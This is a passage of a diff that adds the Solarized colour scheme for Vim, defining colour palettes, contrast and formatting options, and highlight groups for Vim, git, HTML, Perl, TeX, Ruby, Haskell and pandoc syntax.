s:SetOption("termtrans",s:solarized_termtrans_default) +call s:SetOption("degrade",0) +call s:SetOption("bold",1) +call s:SetOption("underline",1) +call s:SetOption("italic",1) " note that we need to override this later if the terminal doesn't support +call s:SetOption("termcolors",16) +call s:SetOption("contrast","normal") +call s:SetOption("visibility","normal") +call s:SetOption("diffmode","normal") +call s:SetOption("hitrail",0) +call s:SetOption("menu",1) + +"}}} +" Colorscheme initialization "{{{ +" --------------------------------------------------------------------- +hi clear +if exists("syntax_on") + syntax reset +endif +let colors_name = "solarized" + +"}}} +" GUI & CSApprox hexadecimal palettes"{{{ +" --------------------------------------------------------------------- +" +" Set both gui and terminal color values in separate conditional statements +" Due to possibility that CSApprox is running (though I suppose we could just +" leave the hex values out entirely in that case and include only cterm colors) +" We also check to see if user has set solarized (force use of the +" neutral gray monotone palette component) +if (has("gui_running") && g:solarized_degrade == 0) + let s:vmode = "gui" + let s:base03 = "#002b36" + let s:base02 = "#073642" + let s:base01 = "#586e75" + let s:base00 = "#657b83" + let s:base0 = "#839496" + let s:base1 = "#93a1a1" + let s:base2 = "#eee8d5" + let s:base3 = "#fdf6e3" + let s:yellow = "#b58900" + let s:orange = "#cb4b16" + let s:red = "#dc322f" + let s:magenta = "#d33682" + let s:violet = "#6c71c4" + let s:blue = "#268bd2" + let s:cyan = "#2aa198" + "let s:green = "#859900" "original + let s:green = "#719e07" "experimental +elseif (has("gui_running") && g:solarized_degrade == 1) + " These colors are identical to the 256 color mode. They may be viewed + " while in gui mode via "let g:solarized_degrade=1", though this is not + " recommened and is for testing only. + let s:vmode = "gui" + let s:base03 = "#1c1c1c" + let s:base02 = "#262626" + let s:base01 = "#4e4e4e" + let s:base00 = "#585858" + let s:base0 = "#808080" + let s:base1 = "#8a8a8a" + let s:base2 = "#d7d7af" + let s:base3 = "#ffffd7" + let s:yellow = "#af8700" + let s:orange = "#d75f00" + let s:red = "#af0000" + let s:magenta = "#af005f" + let s:violet = "#5f5faf" + let s:blue = "#0087ff" + let s:cyan = "#00afaf" + let s:green = "#5f8700" +elseif g:solarized_termcolors != 256 && &t_Co >= 16 + let s:vmode = "cterm" + let s:base03 = "8" + let s:base02 = "0" + let s:base01 = "10" + let s:base00 = "11" + let s:base0 = "12" + let s:base1 = "14" + let s:base2 = "7" + let s:base3 = "15" + let s:yellow = "3" + let s:orange = "9" + let s:red = "1" + let s:magenta = "5" + let s:violet = "13" + let s:blue = "4" + let s:cyan = "6" + let s:green = "2" +elseif g:solarized_termcolors == 256 + let s:vmode = "cterm" + let s:base03 = "234" + let s:base02 = "235" + let s:base01 = "239" + let s:base00 = "240" + let s:base0 = "244" + let s:base1 = "245" + let s:base2 = "187" + let s:base3 = "230" + let s:yellow = "136" + let s:orange = "166" + let s:red = "124" + let s:magenta = "125" + let s:violet = "61" + let s:blue = "33" + let s:cyan = "37" + let s:green = "64" +else + let s:vmode = "cterm" + let s:bright = "* term=bold cterm=bold" +" let s:base03 = "0".s:bright +" let s:base02 = "0" +" let s:base01 = "2".s:bright +" let s:base00 = "3".s:bright +" let s:base0 = "4".s:bright +" let s:base1 = "6".s:bright +" let s:base2 = "7" +" let s:base3 = "7".s:bright +" let s:yellow = "3" +" let s:orange = "1".s:bright +" let s:red = "1" +" let s:magenta = "5" +" let s:violet = "5".s:bright +" let s:blue = "4" +" let s:cyan = "6" +" let s:green = "2" + let s:base03 = "DarkGray" " 0* + let s:base02 = "Black" " 0 + let s:base01 = "LightGreen" " 2* + let s:base00 = "LightYellow" " 3* + let s:base0 = "LightBlue" " 4* + let s:base1 = "LightCyan" " 6* + let s:base2 = "LightGray" " 7 + let s:base3 = "White" " 7* + let s:yellow = "DarkYellow" " 3 + let s:orange = "LightRed" " 1* + let s:red = "DarkRed" " 1 + let s:magenta = "DarkMagenta" " 5 + let s:violet = "LightMagenta" " 5* + let s:blue = "DarkBlue" " 4 + let s:cyan = "DarkCyan" " 6 + let s:green = "DarkGreen" " 2 + +endif +"}}} +" Formatting options and null values for passthrough effect "{{{ +" --------------------------------------------------------------------- + let s:none = "NONE" + let s:none = "NONE" + let s:t_none = "NONE" + let s:n = "NONE" + let s:c = ",undercurl" + let s:r = ",reverse" + let s:s = ",standout" + let s:ou = "" + let s:ob = "" +"}}} +" Background value based on termtrans setting "{{{ +" --------------------------------------------------------------------- +if (has("gui_running") || g:solarized_termtrans == 0) + let s:back = s:base03 +else + let s:back = "NONE" +endif +"}}} +" Alternate light scheme "{{{ +" --------------------------------------------------------------------- +if &background == "light" + let s:temp03 = s:base03 + let s:temp02 = s:base02 + let s:temp01 = s:base01 + let s:temp00 = s:base00 + let s:base03 = s:base3 + let s:base02 = s:base2 + let s:base01 = s:base1 + let s:base00 = s:base0 + let s:base0 = s:temp00 + let s:base1 = s:temp01 + let s:base2 = s:temp02 + let s:base3 = s:temp03 + if (s:back != "NONE") + let s:back = s:base03 + endif +endif +"}}} +" Optional contrast schemes "{{{ +" --------------------------------------------------------------------- +if g:solarized_contrast == "high" + let s:base01 = s:base00 + let s:base00 = s:base0 + let s:base0 = s:base1 + let s:base1 = s:base2 + let s:base2 = s:base3 + let s:back = s:back +endif +if g:solarized_contrast == "low" + let s:back = s:base02 + let s:ou = ",underline" +endif +"}}} +" Overrides dependent on user specified values and environment "{{{ +" --------------------------------------------------------------------- +if (g:solarized_bold == 0 || &t_Co == 8 ) + let s:b = "" + let s:bb = ",bold" +else + let s:b = ",bold" + let s:bb = "" +endif + +if g:solarized_underline == 0 + let s:u = "" +else + let s:u = ",underline" +endif + +if g:solarized_italic == 0 || s:terminal_italic == 0 + let s:i = "" +else + let s:i = ",italic" +endif +"}}} +" Highlighting primitives"{{{ +" --------------------------------------------------------------------- + +exe "let s:bg_none = ' ".s:vmode."bg=".s:none ."'" +exe "let s:bg_back = ' ".s:vmode."bg=".s:back ."'" +exe "let s:bg_base03 = ' ".s:vmode."bg=".s:base03 ."'" +exe "let s:bg_base02 = ' ".s:vmode."bg=".s:base02 ."'" +exe "let s:bg_base01 = ' ".s:vmode."bg=".s:base01 ."'" +exe "let s:bg_base00 = ' ".s:vmode."bg=".s:base00 ."'" +exe "let s:bg_base0 = ' ".s:vmode."bg=".s:base0 ."'" +exe "let s:bg_base1 = ' ".s:vmode."bg=".s:base1 ."'" +exe "let s:bg_base2 = ' ".s:vmode."bg=".s:base2 ."'" +exe "let s:bg_base3 = ' ".s:vmode."bg=".s:base3 ."'" +exe "let s:bg_green = ' ".s:vmode."bg=".s:green ."'" +exe "let s:bg_yellow = ' ".s:vmode."bg=".s:yellow ."'" +exe "let s:bg_orange = ' ".s:vmode."bg=".s:orange ."'" +exe "let s:bg_red = ' ".s:vmode."bg=".s:red ."'" +exe "let s:bg_magenta = ' ".s:vmode."bg=".s:magenta."'" +exe "let s:bg_violet = ' ".s:vmode."bg=".s:violet ."'" +exe "let s:bg_blue = ' ".s:vmode."bg=".s:blue ."'" +exe "let s:bg_cyan = ' ".s:vmode."bg=".s:cyan ."'" + +exe "let s:fg_none = ' ".s:vmode."fg=".s:none ."'" +exe "let s:fg_back = ' ".s:vmode."fg=".s:back ."'" +exe "let s:fg_base03 = ' ".s:vmode."fg=".s:base03 ."'" +exe "let s:fg_base02 = ' ".s:vmode."fg=".s:base02 ."'" +exe "let s:fg_base01 = ' ".s:vmode."fg=".s:base01 ."'" +exe "let s:fg_base00 = ' ".s:vmode."fg=".s:base00 ."'" +exe "let s:fg_base0 = ' ".s:vmode."fg=".s:base0 ."'" +exe "let s:fg_base1 = ' ".s:vmode."fg=".s:base1 ."'" +exe "let s:fg_base2 = ' ".s:vmode."fg=".s:base2 ."'" +exe "let s:fg_base3 = ' ".s:vmode."fg=".s:base3 ."'" +exe "let s:fg_green = ' ".s:vmode."fg=".s:green ."'" +exe "let s:fg_yellow = ' ".s:vmode."fg=".s:yellow ."'" +exe "let s:fg_orange = ' ".s:vmode."fg=".s:orange ."'" +exe "let s:fg_red = ' ".s:vmode."fg=".s:red ."'" +exe "let s:fg_magenta = ' ".s:vmode."fg=".s:magenta."'" +exe "let s:fg_violet = ' ".s:vmode."fg=".s:violet ."'" +exe "let s:fg_blue = ' ".s:vmode."fg=".s:blue ."'" +exe "let s:fg_cyan = ' ".s:vmode."fg=".s:cyan ."'" + +exe "let s:fmt_none = ' ".s:vmode."=NONE". " term=NONE". "'" +exe "let s:fmt_bold = ' ".s:vmode."=NONE".s:b. " term=NONE".s:b."'" +exe "let s:fmt_bldi = ' ".s:vmode."=NONE".s:b. " term=NONE".s:b."'" +exe "let s:fmt_undr = ' ".s:vmode."=NONE".s:u. " term=NONE".s:u."'" +exe "let s:fmt_undb = ' ".s:vmode."=NONE".s:u.s:b. " term=NONE".s:u.s:b."'" +exe "let s:fmt_undi = ' ".s:vmode."=NONE".s:u. " term=NONE".s:u."'" +exe "let s:fmt_uopt = ' ".s:vmode."=NONE".s:ou. " term=NONE".s:ou."'" +exe "let s:fmt_curl = ' ".s:vmode."=NONE".s:c. " term=NONE".s:c."'" +exe "let s:fmt_ital = ' ".s:vmode."=NONE".s:i. " term=NONE".s:i."'" +exe "let s:fmt_stnd = ' ".s:vmode."=NONE".s:s. " term=NONE".s:s."'" +exe "let s:fmt_revr = ' ".s:vmode."=NONE".s:r. " term=NONE".s:r."'" +exe "let s:fmt_revb = ' ".s:vmode."=NONE".s:r.s:b. " term=NONE".s:r.s:b."'" +" revbb (reverse bold for bright colors) is only set to actual bold in low +" color terminals (t_co=8, such as OS X Terminal.app) and should only be used +" with colors 8-15. +exe "let s:fmt_revbb = ' ".s:vmode."=NONE".s:r.s:bb. " term=NONE".s:r.s:bb."'" +exe "let s:fmt_revbbu = ' ".s:vmode."=NONE".s:r.s:bb.s:u." term=NONE".s:r.s:bb.s:u."'" + +if has("gui_running") + exe "let s:sp_none = ' guisp=".s:none ."'" + exe "let s:sp_back = ' guisp=".s:back ."'" + exe "let s:sp_base03 = ' guisp=".s:base03 ."'" + exe "let s:sp_base02 = ' guisp=".s:base02 ."'" + exe "let s:sp_base01 = ' guisp=".s:base01 ."'" + exe "let s:sp_base00 = ' guisp=".s:base00 ."'" + exe "let s:sp_base0 = ' guisp=".s:base0 ."'" + exe "let s:sp_base1 = ' guisp=".s:base1 ."'" + exe "let s:sp_base2 = ' guisp=".s:base2 ."'" + exe "let s:sp_base3 = ' guisp=".s:base3 ."'" + exe "let s:sp_green = ' guisp=".s:green ."'" + exe "let s:sp_yellow = ' guisp=".s:yellow ."'" + exe "let s:sp_orange = ' guisp=".s:orange ."'" + exe "let s:sp_red = ' guisp=".s:red ."'" + exe "let s:sp_magenta = ' guisp=".s:magenta."'" + exe "let s:sp_violet = ' guisp=".s:violet ."'" + exe "let s:sp_blue = ' guisp=".s:blue ."'" + exe "let s:sp_cyan = ' guisp=".s:cyan ."'" +else + let s:sp_none = "" + let s:sp_back = "" + let s:sp_base03 = "" + let s:sp_base02 = "" + let s:sp_base01 = "" + let s:sp_base00 = "" + let s:sp_base0 = "" + let s:sp_base1 = "" + let s:sp_base2 = "" + let s:sp_base3 = "" + let s:sp_green = "" + let s:sp_yellow = "" + let s:sp_orange = "" + let s:sp_red = "" + let s:sp_magenta = "" + let s:sp_violet = "" + let s:sp_blue = "" + let s:sp_cyan = "" +endif + +"}}} +" Basic highlighting"{{{ +" --------------------------------------------------------------------- +" note that link syntax to avoid duplicate configuration doesn't work with the +" exe compiled formats + +exe "hi! Normal" .s:fmt_none .s:fg_base0 .s:bg_back + +exe "hi! Comment" .s:fmt_ital .s:fg_base01 .s:bg_none +" *Comment any comment + +exe "hi! Constant" .s:fmt_none .s:fg_cyan .s:bg_none +" *Constant any constant +" String a string constant: "this is a string" +" Character a character constant: 'c', '\n' +" Number a number constant: 234, 0xff +" Boolean a boolean constant: TRUE, false +" Float a floating point constant: 2.3e10 + +exe "hi! Identifier" .s:fmt_none .s:fg_blue .s:bg_none +" *Identifier any variable name +" Function function name (also: methods for classes) +" +exe "hi! Statement" .s:fmt_none .s:fg_green .s:bg_none +" *Statement any statement +" Conditional if, then, else, endif, switch, etc. +" Repeat for, do, while, etc. +" Label case, default, etc. +" Operator "sizeof", "+", "*", etc. +" Keyword any other keyword +" Exception try, catch, throw + +exe "hi! PreProc" .s:fmt_none .s:fg_orange .s:bg_none +" *PreProc generic Preprocessor +" Include preprocessor #include +" Define preprocessor #define +" Macro same as Define +" PreCondit preprocessor #if, #else, #endif, etc. + +exe "hi! Type" .s:fmt_none .s:fg_yellow .s:bg_none +" *Type int, long, char, etc. +" StorageClass static, register, volatile, etc. +" Structure struct, union, enum, etc. +" Typedef A typedef + +exe "hi! Special" .s:fmt_none .s:fg_red .s:bg_none +" *Special any special symbol +" SpecialChar special character in a constant +" Tag you can use CTRL-] on this +" Delimiter character that needs attention +" SpecialComment special things inside a comment +" Debug debugging statements + +exe "hi! Underlined" .s:fmt_none .s:fg_violet .s:bg_none +" *Underlined text that stands out, HTML links + +exe "hi! Ignore" .s:fmt_none .s:fg_none .s:bg_none +" *Ignore left blank, hidden |hl-Ignore| + +exe "hi! Error" .s:fmt_bold .s:fg_red .s:bg_none +" *Error any erroneous construct + +exe "hi! Todo" .s:fmt_bold .s:fg_magenta.s:bg_none +" *Todo anything that needs extra attention; mostly the +" keywords TODO FIXME and XXX +" +"}}} +" Extended highlighting "{{{ +" --------------------------------------------------------------------- +if (g:solarized_visibility=="high") + exe "hi! SpecialKey" .s:fmt_revr .s:fg_red .s:bg_none + exe "hi! NonText" .s:fmt_bold .s:fg_red .s:bg_none +elseif (g:solarized_visibility=="low") + exe "hi! SpecialKey" .s:fmt_bold .s:fg_base02 .s:bg_none + exe "hi! NonText" .s:fmt_bold .s:fg_base02 .s:bg_none +else + exe "hi! SpecialKey" .s:fmt_bold .s:fg_base00 .s:bg_base02 + exe "hi! NonText" .s:fmt_bold .s:fg_base00 .s:bg_none +endif +exe "hi! StatusLine" .s:fmt_none .s:fg_base1 .s:bg_base02 .s:fmt_revbb +exe "hi! StatusLineNC" .s:fmt_none .s:fg_base00 .s:bg_base02 .s:fmt_revbb +exe "hi! Visual" .s:fmt_none .s:fg_base01 .s:bg_base03 .s:fmt_revbb +exe "hi! Directory" .s:fmt_none .s:fg_blue .s:bg_none +exe "hi! ErrorMsg" .s:fmt_revr .s:fg_red .s:bg_none +exe "hi! IncSearch" .s:fmt_stnd .s:fg_orange .s:bg_none +exe "hi! Search" .s:fmt_revr .s:fg_yellow .s:bg_none +exe "hi! MoreMsg" .s:fmt_none .s:fg_blue .s:bg_none +exe "hi! ModeMsg" .s:fmt_none .s:fg_blue .s:bg_none +exe "hi! LineNr" .s:fmt_none .s:fg_base01 .s:bg_base02 +exe "hi! Question" .s:fmt_bold .s:fg_cyan .s:bg_none +if ( has("gui_running") || &t_Co > 8 ) + exe "hi! VertSplit" .s:fmt_none .s:fg_base00 .s:bg_base00 +else + exe "hi! VertSplit" .s:fmt_revbb .s:fg_base00 .s:bg_base02 +endif +exe "hi! Title" .s:fmt_bold .s:fg_orange .s:bg_none +exe "hi! VisualNOS" .s:fmt_stnd .s:fg_none .s:bg_base02 .s:fmt_revbb +exe "hi! WarningMsg" .s:fmt_bold .s:fg_red .s:bg_none +exe "hi! WildMenu" .s:fmt_none .s:fg_base2 .s:bg_base02 .s:fmt_revbb +exe "hi! Folded" .s:fmt_undb .s:fg_base0 .s:bg_base02 .s:sp_base03 +exe "hi! FoldColumn" .s:fmt_none .s:fg_base0 .s:bg_base02 +if (g:solarized_diffmode=="high") +exe "hi! DiffAdd" .s:fmt_revr .s:fg_green .s:bg_none +exe "hi! DiffChange" .s:fmt_revr .s:fg_yellow .s:bg_none +exe "hi! DiffDelete" .s:fmt_revr .s:fg_red .s:bg_none +exe "hi! DiffText" .s:fmt_revr .s:fg_blue .s:bg_none +elseif (g:solarized_diffmode=="low") +exe "hi! DiffAdd" .s:fmt_undr .s:fg_green .s:bg_none .s:sp_green +exe "hi! DiffChange" .s:fmt_undr .s:fg_yellow .s:bg_none .s:sp_yellow +exe "hi! DiffDelete" .s:fmt_bold .s:fg_red .s:bg_none +exe "hi! DiffText" .s:fmt_undr .s:fg_blue .s:bg_none .s:sp_blue +else " normal + if has("gui_running") +exe "hi! DiffAdd" .s:fmt_bold .s:fg_green .s:bg_base02 .s:sp_green +exe "hi! DiffChange" .s:fmt_bold .s:fg_yellow .s:bg_base02 .s:sp_yellow +exe "hi! DiffDelete" .s:fmt_bold .s:fg_red .s:bg_base02 +exe "hi! DiffText" .s:fmt_bold .s:fg_blue .s:bg_base02 .s:sp_blue + else +exe "hi! DiffAdd" .s:fmt_none .s:fg_green .s:bg_base02 .s:sp_green +exe "hi! DiffChange" .s:fmt_none .s:fg_yellow .s:bg_base02 .s:sp_yellow +exe "hi! DiffDelete" .s:fmt_none .s:fg_red .s:bg_base02 +exe "hi! DiffText" .s:fmt_none .s:fg_blue .s:bg_base02 .s:sp_blue + endif +endif +exe "hi! SignColumn" .s:fmt_none .s:fg_base0 +exe "hi! Conceal" .s:fmt_none .s:fg_blue .s:bg_none +exe "hi! SpellBad" .s:fmt_curl .s:fg_none .s:bg_none .s:sp_red +exe "hi! SpellCap" .s:fmt_curl .s:fg_none .s:bg_none .s:sp_violet +exe "hi! SpellRare" .s:fmt_curl .s:fg_none .s:bg_none .s:sp_cyan +exe "hi! SpellLocal" .s:fmt_curl .s:fg_none .s:bg_none .s:sp_yellow +exe "hi! Pmenu" .s:fmt_none .s:fg_base0 .s:bg_base02 .s:fmt_revbb +exe "hi! PmenuSel" .s:fmt_none .s:fg_base01 .s:bg_base2 .s:fmt_revbb +exe "hi! PmenuSbar" .s:fmt_none .s:fg_base2 .s:bg_base0 .s:fmt_revbb +exe "hi! PmenuThumb" .s:fmt_none .s:fg_base0 .s:bg_base03 .s:fmt_revbb +exe "hi! TabLine" .s:fmt_undr .s:fg_base0 .s:bg_base02 .s:sp_base0 +exe "hi! TabLineFill" .s:fmt_undr .s:fg_base0 .s:bg_base02 .s:sp_base0 +exe "hi! TabLineSel" .s:fmt_undr .s:fg_base01 .s:bg_base2 .s:sp_base0 .s:fmt_revbbu +exe "hi! CursorColumn" .s:fmt_none .s:fg_none .s:bg_base02 +exe "hi! CursorLine" .s:fmt_uopt .s:fg_none .s:bg_base02 .s:sp_base1 +exe "hi! ColorColumn" .s:fmt_none .s:fg_none .s:bg_base02 +exe "hi! Cursor" .s:fmt_none .s:fg_base03 .s:bg_base0 +hi! link lCursor Cursor +exe "hi! MatchParen" .s:fmt_bold .s:fg_red .s:bg_base01 + +"}}} +" vim syntax highlighting "{{{ +" --------------------------------------------------------------------- +"exe "hi! vimLineComment" . s:fg_base01 .s:bg_none .s:fmt_ital +"hi! link vimComment Comment +"hi! link vimLineComment Comment +hi! link vimVar Identifier +hi! link vimFunc Function +hi! link vimUserFunc Function +hi! link helpSpecial Special +hi! link vimSet Normal +hi! link vimSetEqual Normal +exe "hi! vimCommentString" .s:fmt_none .s:fg_violet .s:bg_none +exe "hi! vimCommand" .s:fmt_none .s:fg_yellow .s:bg_none +exe "hi! vimCmdSep" .s:fmt_bold .s:fg_blue .s:bg_none +exe "hi! helpExample" .s:fmt_none .s:fg_base1 .s:bg_none +exe "hi! helpOption" .s:fmt_none .s:fg_cyan .s:bg_none +exe "hi! helpNote" .s:fmt_none .s:fg_magenta.s:bg_none +exe "hi! helpVim" .s:fmt_none .s:fg_magenta.s:bg_none +exe "hi! helpHyperTextJump" .s:fmt_undr .s:fg_blue .s:bg_none +exe "hi! helpHyperTextEntry".s:fmt_none .s:fg_green .s:bg_none +exe "hi! vimIsCommand" .s:fmt_none .s:fg_base00 .s:bg_none +exe "hi! vimSynMtchOpt" .s:fmt_none .s:fg_yellow .s:bg_none +exe "hi! vimSynType" .s:fmt_none .s:fg_cyan .s:bg_none +exe "hi! vimHiLink" .s:fmt_none .s:fg_blue .s:bg_none +exe "hi! vimHiGroup" .s:fmt_none .s:fg_blue .s:bg_none +exe "hi! vimGroup" .s:fmt_undb .s:fg_blue .s:bg_none +"}}} +" diff highlighting "{{{ +" --------------------------------------------------------------------- +hi! link diffAdded Statement +hi! link diffLine Identifier +"}}} +" git & gitcommit highlighting "{{{ +"git +"exe "hi! gitDateHeader" +"exe "hi! gitIdentityHeader" +"exe "hi! gitIdentityKeyword" +"exe "hi! gitNotesHeader" +"exe "hi! gitReflogHeader" +"exe "hi! gitKeyword" +"exe "hi! gitIdentity" +"exe "hi! gitEmailDelimiter" +"exe "hi! gitEmail" +"exe "hi! gitDate" +"exe "hi! gitMode" +"exe "hi! gitHashAbbrev" +"exe "hi! gitHash" +"exe "hi! gitReflogMiddle" +"exe "hi! gitReference" +"exe "hi! gitStage" +"exe "hi! gitType" +"exe "hi! gitDiffAdded" +"exe "hi! gitDiffRemoved" +"gitcommit +"exe "hi! gitcommitSummary" +exe "hi! gitcommitComment" .s:fmt_ital .s:fg_base01 .s:bg_none +hi! link gitcommitUntracked gitcommitComment +hi! link gitcommitDiscarded gitcommitComment +hi! link gitcommitSelected gitcommitComment +exe "hi! gitcommitUnmerged" .s:fmt_bold .s:fg_green .s:bg_none +exe "hi! gitcommitOnBranch" .s:fmt_bold .s:fg_base01 .s:bg_none +exe "hi! gitcommitBranch" .s:fmt_bold .s:fg_magenta .s:bg_none +hi! link gitcommitNoBranch gitcommitBranch +exe "hi! gitcommitDiscardedType".s:fmt_none .s:fg_red .s:bg_none +exe "hi! gitcommitSelectedType" .s:fmt_none .s:fg_green .s:bg_none +"exe "hi! gitcommitUnmergedType" +"exe "hi! gitcommitType" +"exe "hi! gitcommitNoChanges" +"exe "hi! gitcommitHeader" +exe "hi! gitcommitHeader" .s:fmt_none .s:fg_base01 .s:bg_none +exe "hi! gitcommitUntrackedFile".s:fmt_bold .s:fg_cyan .s:bg_none +exe "hi! gitcommitDiscardedFile".s:fmt_bold .s:fg_red .s:bg_none +exe "hi! gitcommitSelectedFile" .s:fmt_bold .s:fg_green .s:bg_none +exe "hi! gitcommitUnmergedFile" .s:fmt_bold .s:fg_yellow .s:bg_none +exe "hi! gitcommitFile" .s:fmt_bold .s:fg_base0 .s:bg_none +hi! link gitcommitDiscardedArrow gitcommitDiscardedFile +hi! link gitcommitSelectedArrow gitcommitSelectedFile +hi! link gitcommitUnmergedArrow gitcommitUnmergedFile +"exe "hi! gitcommitArrow" +"exe "hi! gitcommitOverflow" +"exe "hi! gitcommitBlank" +" }}} +" html highlighting "{{{ +" --------------------------------------------------------------------- +exe "hi! htmlTag" .s:fmt_none .s:fg_base01 .s:bg_none +exe "hi! htmlEndTag" .s:fmt_none .s:fg_base01 .s:bg_none +exe "hi! htmlTagN" .s:fmt_bold .s:fg_base1 .s:bg_none +exe "hi! htmlTagName" .s:fmt_bold .s:fg_blue .s:bg_none +exe "hi! htmlSpecialTagName".s:fmt_ital .s:fg_blue .s:bg_none +exe "hi! htmlArg" .s:fmt_none .s:fg_base00 .s:bg_none +exe "hi! javaScript" .s:fmt_none .s:fg_yellow .s:bg_none +"}}} +" perl highlighting "{{{ +" --------------------------------------------------------------------- +exe "hi! perlHereDoc" . s:fg_base1 .s:bg_back .s:fmt_none +exe "hi! perlVarPlain" . s:fg_yellow .s:bg_back .s:fmt_none +exe "hi! perlStatementFileDesc". s:fg_cyan.s:bg_back.s:fmt_none + +"}}} +" tex highlighting "{{{ +" --------------------------------------------------------------------- +exe "hi! texStatement" . s:fg_cyan .s:bg_back .s:fmt_none +exe "hi! texMathZoneX" . s:fg_yellow .s:bg_back .s:fmt_none +exe "hi! texMathMatcher" . s:fg_yellow .s:bg_back .s:fmt_none +exe "hi! texMathMatcher" . s:fg_yellow .s:bg_back .s:fmt_none +exe "hi! texRefLabel" . s:fg_yellow .s:bg_back .s:fmt_none +"}}} +" ruby highlighting "{{{ +" --------------------------------------------------------------------- +exe "hi! rubyDefine" . s:fg_base1 .s:bg_back .s:fmt_bold +"rubyInclude +"rubySharpBang +"rubyAccess +"rubyPredefinedVariable +"rubyBoolean +"rubyClassVariable +"rubyBeginEnd +"rubyRepeatModifier +"hi! link rubyArrayDelimiter Special " [ , , ] +"rubyCurlyBlock { , , } + +"hi! link rubyClass Keyword +"hi! link rubyModule Keyword +"hi! link rubyKeyword Keyword +"hi! link rubyOperator Operator +"hi! link rubyIdentifier Identifier +"hi! link rubyInstanceVariable Identifier +"hi! link rubyGlobalVariable Identifier +"hi! link rubyClassVariable Identifier +"hi! link rubyConstant Type +"}}} +" haskell syntax highlighting"{{{ +" --------------------------------------------------------------------- +" For use with syntax/haskell.vim : Haskell Syntax File +" http://www.vim.org/scripts/script.php?script_id=3034 +" See also Steffen Siering's github repository: +" http://github.com/urso/dotrc/blob/master/vim/syntax/haskell.vim +" --------------------------------------------------------------------- +" +" Treat True and False specially, see the plugin referenced above +let hs_highlight_boolean=1 +" highlight delims, see the plugin referenced above +let hs_highlight_delimiters=1 + +exe "hi! cPreCondit". s:fg_orange.s:bg_none .s:fmt_none + +exe "hi! VarId" . s:fg_blue .s:bg_none .s:fmt_none +exe "hi! ConId" . s:fg_yellow .s:bg_none .s:fmt_none +exe "hi! hsImport" . s:fg_magenta.s:bg_none .s:fmt_none +exe "hi! hsString" . s:fg_base00 .s:bg_none .s:fmt_none + +exe "hi! hsStructure" . s:fg_cyan .s:bg_none .s:fmt_none +exe "hi! hs_hlFunctionName" . s:fg_blue .s:bg_none +exe "hi! hsStatement" . s:fg_cyan .s:bg_none .s:fmt_none +exe "hi! hsImportLabel" . s:fg_cyan .s:bg_none .s:fmt_none +exe "hi! hs_OpFunctionName" . s:fg_yellow .s:bg_none .s:fmt_none +exe "hi! hs_DeclareFunction" . s:fg_orange .s:bg_none .s:fmt_none +exe "hi! hsVarSym" . s:fg_cyan .s:bg_none .s:fmt_none +exe "hi! hsType" . s:fg_yellow .s:bg_none .s:fmt_none +exe "hi! hsTypedef" . s:fg_cyan .s:bg_none .s:fmt_none +exe "hi! hsModuleName" . s:fg_green .s:bg_none .s:fmt_undr +exe "hi! hsModuleStartLabel" . s:fg_magenta.s:bg_none .s:fmt_none +hi! link hsImportParams Delimiter +hi! link hsDelimTypeExport Delimiter +hi! link hsModuleStartLabel hsStructure +hi! link hsModuleWhereLabel hsModuleStartLabel + +" following is for the haskell-conceal plugin +" the first two items don't have an impact, but better safe +exe "hi! hsNiceOperator" . s:fg_cyan .s:bg_none .s:fmt_none +exe "hi! hsniceoperator" . s:fg_cyan .s:bg_none .s:fmt_none + +"}}} +" pandoc markdown syntax highlighting "{{{ +" --------------------------------------------------------------------- + +"PandocHiLink pandocNormalBlock +exe "hi! pandocTitleBlock" .s:fg_blue .s:bg_none .s:fmt_none +exe "hi! pandocTitleBlockTitle" .s:fg_blue .s:bg_none .s:fmt_bold +exe "hi! pandocTitleComment" .s:fg_blue .s:bg_none .s:fmt_bold +exe "hi! pandocComment" .s:fg_base01 .s:bg_none .s:fmt_ital +exe "hi! pandocVerbatimBlock" .s:fg_yellow .s:bg_none .s:fmt_none +hi! link pandocVerbatimBlockDeep pandocVerbatimBlock +hi! link pandocCodeBlock pandocVerbatimBlock +hi! link pandocCodeBlockDelim pandocVerbatimBlock +exe "hi! pandocBlockQuote" .s:fg_blue .s:bg_none .s:fmt_none +exe "hi! pandocBlockQuoteLeader1" .s:fg_blue .s:bg_none .s:fmt_none +exe "hi! pandocBlockQuoteLeader2" .s:fg_cyan .s:bg_none .s:fmt_none +exe "hi! pandocBlockQuoteLeader3" .s:fg_yellow .s:bg_none .s:fmt_none +exe "hi! pandocBlockQuoteLeader4" .s:fg_red .s:bg_none .s:fmt_none +exe "hi! pandocBlockQuoteLeader5" .s:fg_base0 .s:bg_none .s:fmt_none +exe "hi! pandocBlockQuoteLeader6" .s:fg_base01 .s:bg_none .s:fmt_none +exe "hi! pandocListMarker" .s:fg_magenta.s:bg_none .s:fmt_none +exe "hi! pandocListReference" .s:fg_magenta.s:bg_none .s:fmt_undr + +" Definitions +" --------------------------------------------------------------------- +let s:fg_pdef = s:fg_violet +exe "hi! pandocDefinitionBlock" .s:fg_pdef .s:bg_none .s:fmt_none +exe "hi! pandocDefinitionTerm" .s:fg_pdef .s:bg_none .s:fmt_stnd +exe "hi! pandocDefinitionIndctr" .s:fg_pdef .s:bg_none .s:fmt_bold +exe "hi! pandocEmphasisDefinition" .s:fg_pdef .s:bg_none .s:fmt_ital +exe "hi! pandocEmphasisNestedDefinition" .s:fg_pdef .s:bg_none .s:fmt_bldi +exe "hi! pandocStrongEmphasisDefinition" .s:fg_pdef .s:bg_none .s:fmt_bold +exe "hi! pandocStrongEmphasisNestedDefinition" .s:fg_pdef.s:bg_none.s:fmt_bldi +exe "hi! pandocStrongEmphasisEmphasisDefinition" .s:fg_pdef.s:bg_none.s:fmt_bldi +exe "hi! pandocStrikeoutDefinition" .s:fg_pdef .s:bg_none .s:fmt_revr +exe "hi! pandocVerbatimInlineDefinition" .s:fg_pdef .s:bg_none .s:fmt_none +exe "hi! pandocSuperscriptDefinition" .s:fg_pdef .s:bg_none .s:fmt_none +exe "hi! pandocSubscriptDefinition" .s:fg_pdef .s:bg_none .s:fmt_none + +" Tables +" --------------------------------------------------------------------- +let s:fg_ptable = s:fg_blue +exe "hi! pandocTable" .s:fg_ptable.s:bg_none .s:fmt_none +exe "hi! pandocTableStructure" .s:fg_ptable.s:bg_none .s:fmt_none +hi! link pandocTableStructureTop pandocTableStructre +hi! link pandocTableStructureEnd pandocTableStructre +exe "hi! pandocTableZebraLight" .s:fg_ptable.s:bg_base03.s:fmt_none +exe "hi! pandocTableZebraDark" .s:fg_ptable.s:bg_base02.s:fmt_none +exe "hi! pandocEmphasisTable" .s:fg_ptable.s:bg_none .s:fmt_ital +exe "hi! pandocEmphasisNestedTable" 